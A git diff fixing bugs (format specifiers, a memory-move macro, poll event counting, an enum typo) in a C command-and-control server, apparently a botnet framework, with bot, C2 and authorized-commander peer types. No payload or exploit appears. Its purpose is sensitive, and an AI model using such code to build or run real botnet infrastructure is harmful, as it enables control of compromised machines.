diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index f045130..ad1e8f9 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -36,7 +36,7 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */ - LAIKA_DEBUG("accepted handshake from peer %x\n", peer); + LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); } PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { @@ -84,7 +84,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { } void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { - LAIKA_DEBUG("peer %x killed!\n", peer); + LAIKA_DEBUG("peer %lx killed!\n", peer); laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaS_freePeer(peer); } @@ -119,7 +119,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* add to our pollList */ laikaP_addSock(&cnc->pList, &peer->sock); - LAIKA_DEBUG("new peer %x!\n", peer); + LAIKA_DEBUG("new peer %lx!\n", peer); continue; } diff --git a/lib/include/laika.h b/lib/include/laika.h index 46676ed..7a6669c 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -11,7 +11,7 @@ #define ARRAY_START 4 #ifdef DEBUG -#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); +#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout); #else #define LAIKA_DEBUG(...) #endif diff --git a/lib/include/lmem.h b/lib/include/lmem.h index aa8fc35..af13d70 100644 --- a/lib/include/lmem.h +++ b/lib/include/lmem.h @@ -16,7 +16,7 @@ /* moves array elements above indx down by numElem, removing numElem elements at indx */ #define laikaM_rmvarray(type, buf, count, indx, numElem) { \ - int _i, _sz = ((count-indx)-numElem)*sizeof(type); \ + int _i, _sz = ((count-indx)-numElem); \ for (_i = 0; _i < _sz; _i++) \ buf[indx+_i] = buf[indx+numElem+_i]; \ count -= numElem; \ diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index e0ebc81..fe4613a 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -8,8 +8,7 @@ #include "lrsa.h" typedef enum { - PEER_UNVERIFIED, -, + PEER_UNVERIFIED, PEER_BOT, PEER_CNC, /* cnc 2 cnc communication */ PEER_AUTH /* authorized peers can send commands to cnc */ diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index 80a6479..e12647e 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -151,6 +151,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, if (SOCKETERROR(nEvents)) LAIKA_ERROR("epoll_wait() failed!\n"); + *_nevents = nEvents; for (i = 0; i < nEvents; i++) { /* add event to revent array */ laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); @@ -166,17 +167,18 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, if (SOCKETERROR(nEvents)) LAIKA_ERROR("poll() failed!\n"); + *_nevents = nEvents; /* walk through the returned poll fds, if they have an event, add it to our revents array */ for (i = 0; i < pList->fdCount && nEvents > 0; i++) { PollFD pfd = pList->fds[i]; if (pList->fds[i].revents != 0) { /* grab socket from hashmap */ - struct sLaika_socket *sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); + struct sLaika_hashMapElem *_sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); /* insert event into revents array */ laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ - .sock = sock, + .sock = _sock->sock, .pollIn = pfd.revents & POLLIN, .pollOut = pfd.revents & POLLOUT }; @@ -187,6 +189,5 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, #endif /* return revents array */ - *_nevents = i; return pList->revents; }